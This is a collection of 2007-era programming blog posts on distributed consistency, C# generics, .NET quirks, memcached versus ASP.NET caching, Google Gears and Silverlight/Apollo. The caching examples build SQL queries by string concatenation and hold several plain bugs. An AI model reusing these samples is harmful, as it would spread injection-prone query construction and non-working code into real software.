Depending on how long the error exists and how long it takes an item to sit in the message queue, there will be times when the Dare (user1) may end up having Torsten (user2) on his friend list but Torsten won’t have Dare on his friend list. The database has lied, again.

OPTION III: System always accepts updates but application developers may have to resolve data conflicts later. (The Dynamo approach)

/* update_friend_list always succeeds but may enqueue an item in message queue to try again later in the event of failure. This failure is not propagated to callers of the method.  */

public void confirm_friend_request_C(user1, user2){
   update_friend_list(user1, user2, status.confirmed); // palo alto
   update_friend_list(user2, user1, status.confirmed); //london 

}

/* get_friends() method has to reconcile results returned by get_friends() because there may be data inconsistency due to a conflict because a change that was applied from the message queue is contradictory to a subsequent change by the user.  In this case, status is a bitflag where all conflicts are merged and it is up to app developer to figure out what to do. */ 

  public list get_friends(user1){ 
      list actual_friends = new list();
      list friends = get_friends();  

      foreach (friend in friends){     

        if(friend.status == friendstatus.confirmed){ //no conflict
           actual_friends.add(friend);

        }else if((friend.status &= friendstatus.confirmed) 
                   and !(friend.status &= friendstatus.deleted)){

          // assume friend is confirmed as long as it wasn’t also deleted
          friend.status = friendstatus.confirmed;              
          actual_friends.add(friend); 
          update_friends_list(user1, friend, status.confirmed);

        }else{ //assume deleted if there is a conflict with a delete
          update_friends_list( user1, friend, status.deleted)
        }

      }//foreach

   return actual_friends;
}

These are just a few of the many approaches that can be implemented in such a distributed system to get around the performance and availability implications of using distributed transactions. The main problem with them is that in every single case, the application developer has an extra burden placed on his shoulders due to inherent fragility of distributed systems. For a lot of developers, the shock of this realization is akin to the shock of programming in C++ after using C# or Ruby for a couple of years. Manual memory management? Actually having to perform bounds checking arrays? Being unable to use decades old technology like database transactions?

The challenge in building a distributed storage system like BigTable or Dynamo is in balancing the need for high availability and performance while not building a system that encourages all sorts of insidious bugs to exist in the system by design.  Some might argue that Dynamo goes to far in the burden that it places on developers while there are others that would argue that it doesn’t go far enough.

In what camp do you fall?

Now playing: R. Kelly - Rock Star (feat. Ludacris & Kid Rock)


 

Categories: Platforms | Programming | Web Development

Scott Guthrie has a blog post entitled Releasing the Source Code for the .NET Framework Libraries where he writes

One of the things my team has been working to enable has been the ability for .NET developers to download and browse the source code of the .NET Framework libraries, and to easily enable debugging support in them.

Today I'm excited to announce that we'll be providing this with the .NET 3.5 and VS 2008 release later this year.

We'll begin by offering the source code (with source file comments included) for the .NET Base Class Libraries (System, System.IO, System.Collections, System.Configuration, System.Threading, System.Net, System.Security, System.Runtime, System.Text, etc), ASP.NET (System.Web), Windows Forms (System.Windows.Forms), ADO.NET (System.Data), XML (System.Xml), and WPF (System.Windows).  We'll then be adding more libraries in the months ahead (including WCF, Workflow, and LINQ).  The source code will be released under the Microsoft Reference License (MS-RL).

This is one of those announcements I find hard to get excited about. Any developer who’s been frustrated by the weird behavior of a .NET Framework class and has wanted to look at it’s code, should already know about Lutz Roeder’s Reflector which is well known in the .NET devoper community. So I’m not sure who this anouncement is actually intended to benefit.

On the other hand, I’m sure Java developers are having a chuckle at our expense that it took this long for Microsoft to allow developers to see the source code for ArrayList.Count so we can determine if it is lazily or eagerly evaluated.

Oh well, better late than never.

PS: The ability to debug into .NET Framework classes will be nice. I’ve wanted this more than once while working on RSS Bandit and will definitely take advantage of it if I ever get around to installing VS 2008.

Now playing: TLC - Somethin Wicked This Way Comes (feat. Andre 3000)


 

Categories: Programming

From the documentation for Directory.GetFiles Method (String, String)

When using the asterisk wildcard character in a searchPattern, such as "*.txt", the matching behavior when the extension is exactly three characters long is different than when the extension is more or less than three characters long. A searchPattern with a file extension of exactly three characters returns files having an extension of three or more characters, where the first three characters match the file extension specified in the searchPattern. A searchPattern with a file extension of one, two, or more than three characters returns only files having extensions of exactly that length that match the file extension specified in the searchPattern.

I realize this behavior is probably well known to Windows developers, but seriously, WTF? How do I match on three character file extensions (i.e. the majority of file extensions) without getting cruft as well (e.g. matching on .cpp files without getting Emacs backups with .cpp~ file extensions)?

Now playing: Mystikal - I Smell Smoke


 

Categories: Programming

This weekend, I finally decided to step into the 21st century and began the process of migrating RSS Bandit to v2.0 of the .NET Framework. In addition, we've also moved our source code repository from CVS to Subversion and so far it's already been a marked improvement. Since the .NET Framework is currently on v3.0 and v3.5 is in beta 1, I'm fairly out of date when it comes to the pet peeves in my favorite programming tools. At least one of my pet peeves was fixed, in Visual Studio 2005 I finally have an IDE where "Find References to this Method" actually works. On the flip side, the introduction of generics has added a lot more frustrating moments than I expected. By now most .NET developers have seen the dreaded

Cannot convert from 'System.Collections.Generic.List<subtype of T> to 'System.Collections.Generic.List<T>'

For those of you who aren't familiar with C# 2.0, here are examples of code that works and code that doesn't work. The difference is often subtle enough to be quite irritating when you first encounter it.

WORKS! - Array[subtype of T]  implicitly casted to Array[T]

using System;
using Cybertron.Transformers;

public class TransformersTest{

  public
static void GetReadyForBattle(Transformer[] robots){
    foreach(Transformer bot in robots){
        if(!bot.InRobotMode)
            bot.Transform();
    }
  }

  public static void Main(string[] args){

    Autobot OptimusPrime = new Autobot();
    Autobot[] autobots = new Autobot[1];
    autobots[0] = OptimusPrime;

    Decepticon Megatron = new Decepticon();
    Decepticon[] decepticons = new Decepticon[1];
    decepticons[0] = Megatron;

    GetReadyForBattle(decepticons);
    GetReadyForBattle(autobots);

  }
}

DOESN'T WORK - List<subtype of T> implicitly casted to List<T>

using System;
using Cybertron.Transformers;

public class TransformersTest{

  public static void GetReadyForBattle(List<Transformer> robots){
    foreach(Transformer bot in robots){
    if(!bot.InRobotMode)
        bot.Transform();
    }
  }

  public static void Main(string[] args){

    Autobot OptimusPrime = new Autobot();
    List<Autobot> autobots = new List<Autobot>(1);
    autobots.Add(OptimusPrime);

    Decepticon Megatron = new Decepticon();
    List<Decepticon> decepticons = new List<Decepticon>(1);
    decepticons.Add(Megatron);

    GetReadyForBattle(decepticons);
    GetReadyForBattle(autobots);

  }
}

The reason this doesn't work has been explained ad nauseum by various members of the CLR and C# teams such as Rick Byer's post Generic type parameter variance in the CLR where he argues

More formally, in C# v2.0 if T is a subtype of U, then T[] is a subtype of U[], but G<T> is not a subtype of G<U> (where G is any generic type).  In type-theory terminology, we describe this behavior by saying that C# array types are “covariant” and generic types are “invariant”. 

 

There is actually a reason why you might consider generic type invariance to be a good thing.  Consider the following code:

 

List<string> ls = new List<string>();

      ls.Add("test");

      List<object> lo = ls;   // Can't do this in C#

      object o1 = lo[0];      // ok – converting string to object

      lo[0] = new object();   // ERROR – can’t convert object to string

 

If this were allowed, the last line would have to result in a run-time type-check (to preserve type safety), which could throw an exception (eg. InvalidCastException).  This wouldn’t be the end of the world, but it would be unfortunate.

Even if I buy that the there is no good way to prevent the error scenario in the above code snippet without making generic types invariant, it seems that there were a couple of ways out of the problem that were shut out by the C# language team. One approach that I was so sure would work was to create a subtype of System.Collections.Generics.List and define implict and explict cast operators for it. It didn't

WORKS! - MyList<T> implicitly casted to ArrayList via user-defined cast operator

using System;
using Cybertron.Transformers;


public class MyList<T>: List<T>{

  public static implicit operator MyList<T>(ArrayList target){
    MyList<T> newList = new MyList<T>();

    foreach(T item in target){
        newList.Add(item);
    }
    return newList;
  }
}

public class Test{

  public static void GetReadyForBattle(MyList<Transformer> robots){
    foreach(Transformer bot in robots){
        if(!bot.InRobotMode){
                bot.Transform();
            }
        }   
  }

  public static void Main(string[] args){

    Autobot OptimusPrime = new Autobot();
    ArrayList autobots = new ArrayList(1);
    autobots.Add(OptimusPrime);

    Decepticon Megatron = new Decepticon();
    ArrayList decepticons = new ArrayList(1);
    decepticons.Add(Megatron);

    GetReadyForBattle(decepticons);
    GetReadyForBattle(autobots);
  }
}

DOESN'T WORK - MyList<subtype of T> implicitly casted to MyList<T> via user-defined cast

using System;
using Cybertron.Transformers;


public class MyList<T>: List<T>{

  public static implicit operator MyList<T>(MyList<U> target) where U:T{
    MyList<T> newList = new MyList<T>();

    foreach(T item in target){
        newList.Add(item);
    }
    return newList;
  }

}

public class Test{

  public static void GetReadyForBattle(MyList<Transformer> robots){
    foreach(Transformer bot in robots){
        if(!bot.InRobotMode)
            bot.Transform();
    }
  }

  public static void Main(string[] args){

   
Autobot OptimusPrime = new Autobot();
    MyList<Autobot> autobots = new MyList<Autobot>(1);
    autobots.Add(OptimusPrime);

    Decepticon Megatron = new Decepticon();
    MyList<Decepticon> decepticons = new MyList<Decepticon>(1);
    decepticons[0] = Megatron;

    GetReadyForBattle(decepticons);
    GetReadyForBattle(autobots);

  }
}

I really wanted that last bit of code to work because it would have been quite a non-intrusive fix for the problem (ignoring the fact that I have to use my own subclasses of the .NET Framework's collection classes). At the end of the day I ended up creating a TypeConverter utility class which contains some of the dumbest code I've had to write to trick a compiler into doing the right thing, here's what it ended up looking like

WORKS - Create a TypeConverter class that encapsulates calls to List.ConvertAll

using System;
using Cybertron.Transformers;


public class TypeConverter{

  public static List<Transformer> ToTransformerList<T>(List<T> target) where T: Transformer{
    return target.ConvertAll(new Converter<T,Transformer>(MakeTransformer));
  }

  public static Transformer
MakeTransformer<T>(T target) where T:Transformer{
    return target;
/* greatest conversion code ever!!!! */
  }

}

public class Test{

public static void GetReadyForBattle(List<Transformer> robots){
    foreach(Transformer bot in robots){
        if(!bot.InRobotMode)
            bot.Transform();
        }
    }
 }

 public static void Main(string[] args){

    Autobot OptimusPrime = new Autobot();
    List<Autobot> autobots = new List<Autobot>(1);
    autobots.Add(OptimusPrime);

    Decepticon Megatron = new Decepticon();
    List<Decepticon> decepticons = new List<Decepticon>(1);
    decepticons.Add(Megatron);

    GetReadyForBattle(TypeConverter.ToTransformerList(decepticons));
    GetReadyForBattle(TypeConverter.ToTransformerList(autobots));

 }

}

This works but it's ugly as sin. Anybody got any better ideas?

UPDATE: Lot's of great suggestions in the comments. Since I don't want to go ahead and modify a huge chunk of methods across our code base, I suspect I'll continue with the TypeConverter model. However John Spurlock pointed out that it is much smarter to implement the TypeConverter using generics for both input and output parameters instead of way I hacked it together last night. So our code will look more like

using System;
using Cybertron.Transformers;


public class TypeConverter{

 	/// <summary>
/// Returns a delegate that can be used to cast a subtype back to its base type.
/// </summary>
/// <typeparam name="T">The derived type</typeparam>
/// <typeparam name="U">The base type</typeparam>
/// <returns>Delegate that can be used to cast a subtype back to its base type. </returns>
public static Converter<T, U> UpCast<T, U>() where T : U {
return delegate(T item) { return (U)item; };
}

}


public class Test{

public static void GetReadyForBattle(List<Transformer> robots){
    foreach(Transformer bot in robots){
        if(!bot.InRobotMode)
            bot.Transform();
        }
    }
 }

 public static void Main(string[] args){

    Autobot OptimusPrime = new Autobot();
    List<Autobot> autobots = new List<Autobot>(1);
    autobots.Add(OptimusPrime);

    Decepticon Megatron = new Decepticon();
    List<Decepticon> decepticons = new List<Decepticon>(1);
    decepticons.Add(Megatron);

    GetReadyForBattle(decepticons
.ConvertAll(TypeConverter.UpCast<Decepticon, Transformer>()));
    GetReadyForBattle(autobots.ConvertAll(TypeConverter.UpCast<Autobot, Transformer>()));

 }

}


 

Categories: Programming

One of my favorite quotes about the art of software development is

You cannot eliminate complexity, all you can do is move it around

This is very true when it comes to designing systems. You should always look with skepticism when someone tells you that some development tool or technology eliminates complexity. Usually this means the complexity has been hidden but lurks just below the surface waiting to ensnare unwary programmers. However on certain rare occassions, the complex part of the problem is actually solved by the tool or technology effectively eliminating from the worries of the application developer. This is very rare.

A good example of a technology which eliminated complexity for application developers by moving it into the purvey of runtime frameworks is garbage collection. The complexity of memory management was eliminated as a concern of application developers and moved into the domain of application framework developers. This was a win for the industry since the complexity could be relegated to realm of language runtime gurus.

There are lots of examples of technologies that claim to "eliminate complexity" but actually just move it around in a way that makes the complexity less obvious. This is often because, the person claiming to be eliminating the complexity fails to acknowledge where the complexity lies in the first place. For example, when the .NET Framework was first shipped by Microsoft there were lots of claims that DLL Hell would now be a thing of the past. You can still find blog posts and articles like Simplifying Deployment and Solving DLL Hell with the .NET Framework from that era claiming that "DLL Hell" is solved. The problem with that thinking was that versioning and keeping libraries backwards compatible is a fundamentally hard problem that often has no good solution. At the end of the day, you only have two real choices when it comes to preserving backwards compatibility; never change the existing functionality of a library or always ensure that applications always run against the original library they were compiled against so that if the new one changes behavior, they are unaffected. Both choices are untenable which means there will always be complexity when it comes to how one handles versioning and system libraries.

It’s been about six years since the first versions of the .NET Framework were shipped and such hyperbole has died down. Today you can find posts like What A Difference A Revision Makes - IConfigMapPath Is Inaccessible Due To Its Protection Level and Microsoft .NET Patch May Make PCs Go "Haywire" which indicate that DLL Hell is still alive and well when it comes to programming against the .NET Framework.

This brings me to my point. Recently Shawn Steele of Microsoft wrote a blog post entitled Security patch MS07-040 for .Net 2.0 breaks some culture names for .Net 2.0 on Windows XP/2003/2000 where he writes

The .Net patch of July 10th, ms07-049, changes culture names to use the new names on Windows XP/2003/2000 as well as Vista...Unfortunately this change can break applications that expect the old names.  If that happens, the workaround of creating custom cultures might work for your application.

Potential problems experienced by applications could be:

  • client/server communication because one used the old names and one used the new names.  A workaround is to create custom cultures with the old names and choose a parent fallback for them.
  • Visual Studio projects probably need migrated to use the new names for the resources, otherwise there could be confusion compiling and loading resources.
  • If this is your system locale there could be problems loading resources using the old name, depending on the behavior.  In this case creating custom cultures for the old names and replacements for the new names with the old names as the parent culture may solve the problem.

This problem affects the following cultures supported by RSS Bandit; zh-CHT->Chinese (Traditional), zh-CHS->Chinese (Simplified), sr-SP-Cyrl->Serbian (Cyril), and sr-SP-Latn (Latin).

The blog post is unclear but it sounds like RSS Bandit may for our Chinese and Serbian users who have updated their versions of the .NET Framework. However I’m not 100% sure this is the case. If you are an RSS Bandit user whose environment is set to Chinese or Serbian and have applied the recent .NET Framework security patch, please respond to this comment with information about any problems you are facing or let me know if there are no problems.

Thanks for your continued support.

Now playing: T.I. - Big Things Poppin (Do It)


 

Categories: Programming | RSS Bandit

In my previous post, I mentioned that I'm in the early stages of building an application on the Facebook platform. I haven't yet decided on an application but for now, let's assume that it is a Favorite Comic Books application which allows me to store my favorite comic books and shows me to most popular comic books among my friends.

After investigating using Amazon's EC2 + S3 to build my application I've decided that I'm better off using a traditional hosting solution running either a on the LAMP or WISC platform. One of the things I've been looking at is which platform has better support for providing an in-memory caching solution that works well in the context of a Web farm (i.e. multiple Web servers) out of the box. While working on the platforms behind several high traffic Windows Live services I've learned  that you should be prepared for dealing with scalability issues and caching is one of the best ways to get bang for the buck when improving the scalability of your service.

I recently discovered memcached which is a distributed, object caching system originally developed by Brad Fitzpatrick of LiveJournal fame. You can think of memcached as a giant hash table that can run on multiple servers which automatically handles maintaining the balance of objects hashed to each server and transparently fetches/removes objects from over the network if they aren't on the same machine that is accessing an object in the hash table. Although this sounds fairly simple, there is a lot of grunt work in building a distributed object cache which handles data partitioning across multiple servers and hides the distributed nature of the application from the developer. memcached is a well integrated into the typical LAMP stack and is used by a surprising number of high traffic websites including Slashdot, Facebook, Digg, Flickr and Wikipedia. Below is what C# code that utilizes memcached would look like sans exception handling code

public ArrayList GetFriends(int user_id){

    ArrayList friends = (ArrayList) myCache.Get("friendslist:" + userid);

    if(friends == null){
        // Open the connection
        dbConnection.Open();

        SqlCommand cmd = new SqlCommand("select friend_id from friends_list where owner_id=" + "user_id", dbConnection);

        SqlDataReader reader = cmd.ExecuteReader();

        // Add each friend ID to the list
        while (reader.Read()){
            friends.Add(rdr[0]);
        }

	reader.Close();
       dbConnection.Close();                 

        myCache.Set("friendslist:" + userid, friends);
    }

    return friends;
}

public void AddFriend(int user_id, int new_friends_id){

    // Open the connection
    dbConnection.Open();

    SqlCommand cmd = new SqlCommand("insert into friends_list (owner_id, friend_id) values (" + user_id + "," + new_friend_id ")";
   cmd.ExecuteNonQuery();

    //remove key from cache since friends list has been updated
    myCache.Delete("friendslist:" + userid);

    dbConnection .Close(); 
}

The benefits of the using of the cache should be pretty obvious. I no longer need to hit the database after the first request to retrieve the user's friend list which means faster performance in servicing the request and less I/O.  The memcached automatically handles purging items out of the cache when it hits the size limit and also deciding which cache servers should hold individual key<->value pairs.

I hang with a number of Web developers on the WISC platform and I don't think I've ever heard anyone mention memcached or anything like it.In fact I couldn't find a mention of it on Microsoft employee blogs, ASP.NET developer blogs or on MSDN. So I wondered what the average WISC developer uses as their in-memory caching solution.

After looking around a bit, I came to the conclusion that most WISC developers use the built-in ASP.NET caching features. ASP.NET provides a number of in-memory caching features including a Cache class which provides a similar API to memcached, page directives for caching portions of the page or the entire page and the ability to create dependencies between cached objects and the files or database tables/rows that they were populated from via the CacheDependency and SqlCacheDependency classes. Although some of these features are also available in various Open Source web development frameworks such as Ruby on Rails + memcached, none give as much functionality out of the box as ASP.NET or so it seems.

Below is what the code for the GetFriends and AddFriend methods would look like using the built-in ASP.NET caching features

public ArrayList GetFriends(int user_id){

    ArrayList friends = (ArrayList) Cache.Get("friendslist:" + userid);

    if(friends == null){
        // Open the connection
        dbConnection.Open();

        SqlCommand cmd = new SqlCommand("select friend_id from friends_list where owner_id=" + "user_id", dbConnection);

        SqlCacheDependency dependency = new SqlCacheDependency(cmd);
        SqlDataReader reader = cmd.ExecuteReader();

        // Add each friend ID to the list
        while (reader.Read()){
            friends.Add(rdr[0]);
        }

        reader.Close();
        dbConnection.Close();

        //insert friends list into cache with associated dependency
        Cache.Insert("friendslist:" + userid, friends, dependency);
    }
    return friends;
 }

public void AddFriend(int user_id, int new_friends_id){
    // Open the connection
    dbConnection.Open();

    SqlCommand cmd = new SqlCommand("insert into friends_list (owner_id, friend_id) values (" + user_id + "," + new_friend_id ")";
    cmd.ExecuteNonQuery();

    /* no need to remove from cache because SqlCacheDependency takes care of that automatically */
    // Cache.Remove("friendslist:" + userid);

    dbConnection .Close();
}

Using the SqlCacheDependency class gets around a significant limitation of the ASP.NET Cache class. Specifically, the cache is not distributed. This means that if you have multiple Web front ends, you'd have to write your own code to handle partitioning data and invalidating caches across your various Web server instances. In fact, there are numerous articles showing how to implement such a solution including Synchronizing the ASP.NET Cache across AppDomains and Web Farms by Peter Bromberg and Use Data Caching Techniques to Boost Performance and Ensure Synchronization by David Burgett.

However, let's consider how how SqlCacheDependency is implemented. If you are using SQL Server 7 or SQL Server 2000, then your ASP.NET process polls the database at regular intervals to determine whether the target(s) of the original query have changed. For SQL Server 2005, the database can be configured to send change notifications to the Web servers if the target(s) of the original query change. Either way, the database is doing work to determine if the data has changed. Compared to the memcached this still doesn't seem as efficient as we can get if we want to eke out every last out of performance out of the system although it does lead to simpler code.

If you are a developer on the WISC platform and are concerned about getting the best performance out of your Web site, you should take a look at memcached for Win32. The most highly trafficked site on the WISC platform is probably MySpace and in articles about how they are platform works such as Inside MySpace.com they extol the virtues of moving work out of the database and relying on cache servers.


 

Categories: Platforms | Programming | Web Development

I was reading reddit this morning and spotted a reference to the Microsoft Popfly team's group picture which pointed out that from reading the job titles in the pic there were 9 managers and 5 developers on the product team. The list of people in the picture and their titles from the picture are excerpted below

From left to right: John Montgomery (Group Program Manager), Andy Sterland (Program Manager), Alpesh Gaglani (Developer), Tim Rice (Developer), Suzanne Hansen (Program Manager), Steven Wilssens (Program Manager), Vinay Deo (Engineering Manager), Michael Leonard (Test Developer), Jianchun Xu (Developer), Dan Fernandez (Product Manager), Adam Nathan (Developer), Wes Hutchins (Program Manager), Aaron Brethorst (Program Manager), Paramesh Vaidyanathan (Product Unit Manager), and Murali Potluri (Developer).

A Microsoft employee followed up the reddit link with a comment pointing out that it is actually 5 dev, 5 PM, 1 test, 3 managers and 1 marketing. This sounds a lot better but I still find it interesting that there is a 1:1 ratio of Program Managers (i.e. design features/APIs, write specs, call meetings) to Developer (i.e. write code, fix bugs, ignore PMs). Although this ratio isn't unusual for Microsoft this has always struck me as rather high. I've always felt that a decent ratio of PMs to developers is more like 1:2 or higher. And I've seen some claim ratios like 1 PM to 5 developers for Agile projects but haven't been able to find much about industry averages online. It seems must discussion about staffing ratios on software projects focus on Developer to Test ratios and even then the conclusion on is it depends. I think the PM to Developer ratio question is more clear cut.

What are good ratios that have worked for you in the past and what would you consider to be a bad ratio?

PS: A note underneath the group picture mentions that some folks on the team aren't pictured but I looked them up and they are in marketing so they aren't relevant to this discussion.


 

Categories: Programming

In his post Implementing Silverlight in 21 Days Miguel De Icaza writes

The past 21 days have been some of the most intense hacking days that I have ever had and the same goes for my team that worked 12 to 16 hours per day every single day --including weekends-- to implement Silverlight for Linux in record time. We call this effort Moonlight.

Needless to say, we believe that Silverlight is a fantastic development platform, and its .NET-based version is incredibly interesting and as Linux/Unix users we wanted to both get access to content produced with it and to use Linux as our developer platform for Silverlight-powered web sites.

His post is a great read for anyone who geeks out over phenomenal feats of hackery. Going over the Moonlight Project Page it's interesting to note how useful blog posts from Microsoft employees were in getting Miguel's team to figure out the internal workings of Silverlight.

In addition, it seems Miguel also learned a lot from hanging out with Jason Zander and Scott Guthrie which influenced some of the design of Moonlight. It's good to see Open Source developers working on Linux having such an amicable relationship with Microsoft developers.

Congratulations to Mono team, it looks like we will have Silverlight on Linux after all. Sweet.


 

Categories: Platforms | Programming | Web Development

I've been thinking a little bit about Google Gears recently and after reading the documentation things I've realized that making a Web-based application that works well offline poses an interesting set of challenges. First of all, let's go over what constitutes the platform that is Google Gears. It consists of three components

  • LocalServer: Allows you to cache and serve application resources such as HTML pages, scripts, stylesheets and images from a local web server. 

  • Database: A relational database where the application can store data locally. The database supports both full-text and SQL queries.

  • WorkerPool: Allows applications to perform I/O expensive tasks in the background and thus not lock up the browser. A necessary evil. 

At first, this seemed like a lot to functionality being offered by Google Gears until I started trying to design how I'd take some of my favorite Web applications offline. Let's start with a straightforward case such as Google Reader. The first thing you have to do is decide what data needs to be stored locally when the user decides to go offline. Well, a desktop RSS reader has all my unread items even when I go offline so a user may expect that if they go offline in Google Reader this means all their unread items are offline. This could potentially be a lot of data to transfer in the split instant between when the user selects "go offline" in the Google Reader interface and she actually loses her 'net connection by closing her laptop. There are ways to work around this such as limiting how many feeds are available offline (e.g. Robert Scoble with a thousand feeds in his subscription list won't get to take all of them offline) or by progressively downloading all the unread content while the user is viewing the content in online mode. Let's ignore that problem for now because it isn't that interesting.

The next problem is to decide which state changes while the app is offline need to be reported back when the user gets back online. These seem to be quite straightforward,

  • Feed changed
    • Feed added
    • Feed deleted
    • Feed renamed
    • Feed moved
  • News item changed
    • Item marked read/unread
    • Item flagged/starred
    • Item tag updated

The application code can store these changes as a sequential list of modifications which are then executed whenever the user gets back online. Sounds easy enough. Or is it?

What happens if I'm on my laptop and I go offline in Google Reader and mark a bunch of stuff as read then unsubscribe from a few feeds I no longer find interesting. The next day when I get to work, I go online on my desktop, read some new items and subscribe to some new feeds. Later that day, I go online with my laptop. Now the state on my laptop is inconsistent from that on the Web server. How do we reconcile these differences?

The developers at Google have anticipated these questions and have answered them in Google Gears documentation topic titled Choosing an Offline Application Architecture which states

No matter which connection and modality strategy you use, the data in the local database will get out of sync with the server data. For example, local data and server data get out of sync when:

  • The user makes changes while offline
  • Data is shared and can be changed by external parties
  • Data comes from an external source, such as a feed

Resolving these differences so that the two stores are the same is called "synchronization". There are many approaches to synchronization and none are perfect for all situations. The solution you ultimately choose will likely be highly customized to your particular application.

Below are some general synchronization strategies.

Manual Sync

The simplest solution to synchronization is what we call "manual sync". It's manual because the user decides when to synchronize. It can be implemented simply by uploading all the old local data to the server, and then downloading a fresh copy from the server before going offline.
...

Background Sync

In a "background sync", the application continuously synchronizes the data between the local data store and the server. This can be implemented by pinging the server every once in a while or better yet, letting the server push or stream data to the client (this is called Comet in the Ajax lingo).

I don't consider myself some sort of expert on data synchronization protocols but it seems to me that there is a lot more to figuring out a data synchronization strategy than whether it should be done based on user action or automatically in the background without user intervention. It seems that there would be all sorts of decisions around consistency models and single vs. multi-master designs that developers would have to make as well. And that's just for a fairly straightforward application like Google Reader. Can you imagine what it would be like to use Google Gears to replicate the functionality of Outlook in the offline mode of Gmail or to make Google Docs & Spreadsheets behave properly when presented with conflicting versions of a document or spreadsheet because the user updated it from the Web and in offline mode?  

It seems that without providing data synchronization out of the box, Google Gears leaves the most difficult and cumbersome aspect of building a disconnected Web app up to application developers. This may be OK for Google developers using Google Gears since the average Google coder is a Ph.D but the platform isn't terribly useful to Web application developers who want to use it for anything besides a super-sized HTTP cookie. 

A number of other bloggers such as Roger Jennings and Tim Anderson have also pointed that the lack of data synchronization in Google Gears is a significant oversight. If Google intends for Google Gears to become a platform that will be generally useful to the average Web developer then the company will have to fix this oversight. Otherwise, they haven't done as much for the Web development world as the initial hype led us to believe. 


 

Categories: Programming | Web Development

Duncan Riley over at TechCrunch let's us know Digg API Visualization Contest Delivers Apollo Powered Applications, specifically

The Digg API Visualization Contest held to celebrate the launch of the Digg API is now in its final stages with 10 shortlisted candidates.

Four of the ten finalists are Abode Apollo based applications, remarkable for a platform launched just over 2 months ago.

Agreed, it's pretty remarkable to see so many desktop applications in a Web mashup contest. As John Dowdell warns in his post Apollo ain't casual an Apollo application is a desktop app with all the security implications that come with that. So it is definitely impressive and a little scary to see so many people downloading random executables off of the Web and voting for them in what you'd expect to be a Web-based mashup contest.

It's also somewhat interesting that all the apps seem to be written using some variation of the Flash platform; Apollo, Flex or Flash Lite. I guess it just goes to show that for snazzy data visualization, you really can't beat Flash today. On reading the contest rules it seems it's sponsored by Adobe given that the prizes are primarily Adobe products and submissions are required to be written in Flash. Too bad, it would have been interesting to see some AJAX/DHTML or Silverlight visualizations going up against the Flash apps. 


 

Categories: Programming

May 22, 2007
@ 02:44 AM

Pete Lacey has a blog post entitled Rethinking Apollo where he writes

So I dug around in Apollo a little bit, and I did a little bit more thinking about my reflexive dismissal of the technology. And I admit to misunderstanding and miscategorizing Apollo. Here’s what I learned.

Apollo is not a browser plugin, nor does it leverage or extend your browser in any way. It runs completely outside the browser. It is a run-time environment for building cross-platform desktop applications.
...
Lets say you want to build a RSS/Atom reader...But lets add a requirement: my news reader must be cross-platform. That eliminates .NET as a development platform, but still leaves C++. However, with C++ I have to carefully separate my common functionality from my OS-specific functionality and become more of an expert on OS and windowing quirks then I would like, so that’s out. Fortunately, there’s quite a few other ways to go:

  1. Browser based
  2. Java based
  3. Dynamic language based: Perl, Python, Ruby, Tcl
  4. Native cross-platform development environment, e.g Qt
  5. Apollo
  6. Others, e.g. Eclipse RCP

All of these have pros and cons. Browsers are limited in functionality, and quirky. Java is a pain to develop towards-especially GUI apps, has spotty HTML rendering ability, and a non-native look and feel. The dynamic languages are far from guaranteed to be installed on any particular machine—especially Windows machines, and (likely) also have their own look and feel issues. Qt still leaves me in C++ land; that is it’s hard to develop towards. Apollo also has its own look and feel, and will require a download of the runtime environment if it’s not already there (I’m ignoring its alpha release state). I don’t care about any others cross-platform techniques right now.

I think I've found interesting is how a lot of blogosphere pundits have been using Microsoft's Silverlight and Adobe's Apollo in the same sentence as if they are similar products. I guess it's more proof that the popular technology blog pundits don't do much research and in many cases aren't technical enough to do the research anyway.

Although Pete does a good job of explaining the goals of Adobe Apollo with a great example, I think there is a simpler and more cynical way of spelling out the difference between Silverlight and Apollo. I'd describe the projects as 

Apollo is Adobe's Flash based knock off competitor to the .NET Framework while Silverlight is Microsoft's .NET Framework based knock off competitor to the Flash platform.
A lot shorter and more to the point. :)

PS: Shame on Pete for equating dynamic languages with the runtimes for certain popular Open Source dynamic programming languages. The programming language is not the platform and vice versa. After all, both Jython and IronPython are instances of a dynamic programming language that don't have any of the problems he listed as reasons to eliminate a dynamic programming language as a choice for building a cross-platform desktop application. :). 


 

Categories: Programming | Web Development

Have you been trying to distill the recent Microsoft Silverlight announcement into actual concrete bits and pieces? Look no further than this poster which not only lists the various supported browsers and operating systems but also highlights which class libraries from the .NET Framework will make up Silverlight

PS: Found this via Mark Pilgrim's Silly Season post. As usual, excellent and insightful writing by Mark.


 

Categories: Programming | Web Development

Almost six years ago I wrote an article entitled C# from a Java Developer's Perspective which is still one of the most popular comparisons of C# and Java on the Web today. This update to my 2001 article comparing the primary features of C# and Java is a few years later than I planned. Given the amount of requests I've gotten to update it to account for the changes in Java 1.5 and C# 2.0 I'm sure there are many out there who'll find it useful. Below is the table of contents so you can jump to whatever topic interests you.

  1. The More Things Change The More They Stay The Same
    This section describes concepts and language features that are almost exactly the same in C# and Java.
    1. We Are All Objects
    2. Keyword Jumble
    3. Of Virtual Machines and Language Runtimes
    4. Heap Based Classes and Garbage Collection
    5. Arrays Can Be Jagged
    6. No Global Methods
    7. Interfaces, Yes. Multiple Inheritance, No.
    8. Strings Are Immutable
    9. Unextendable Classes
    10. Throwing and Catching Exceptions
    11. Member Initialization at Definition and Static Constructors
    12. Boxing

  2. The Same But Different
    This section describes concepts and language features that differ either only in syntax or in some similarly minor manner between C# and Java.
    1. Main Method
    2. Inheritance Syntax
    3. Run Time Type Identification (is operator)
    4. Namespaces
    5. Constructors, Destructors and Finalizers
    6. Synchronizing Methods and Code Blocks
    7. Access Modifiers
    8. Reflection
    9. Declaring Constants
    10. Primitive Types
    11. Array Declarations
    12. Calling Base Class Constructors and Constructor Chaining
    13. Variable Length Parameter Lists
    14. Generics
    15. for-each Loop
    16. Metadata Annotations
    17. Enumerations

  3. An Ever So Slight Feeling of Dèjà Vu
    This section describes concepts and language features that exist in C# that are similar to those that exist in Java but with a significant difference.
    1. Nested classes
    2. Threads and Volatile Members
    3. Operator Overloading
    4. switch Statement
    5. Assemblies
    6. Collections
    7. goto (no longer considered harmful)
    8. Virtual Methods (and final ones too)
    9. File I/O
    10. Object Serialization
    11. Documentation Generation from Source Code Comments
    12. Multiple Classes in a Single File
    13. Importing Libraries
    14. Events
    15. Cross Language Interoperability

  4. Now For Something Completely Different
    This section describes language features and concepts that exist in C# and have no Java counterpart.
    1. Deterministic Object Cleanup
    2. Delegates
    3. Value Types (Structs)
    4. Run Time Type Identification (as operator)
    5. Properties
    6. Multidimensional Arrays
    7. Indexers
    8. Preprocessor Directives
    9. Aliases
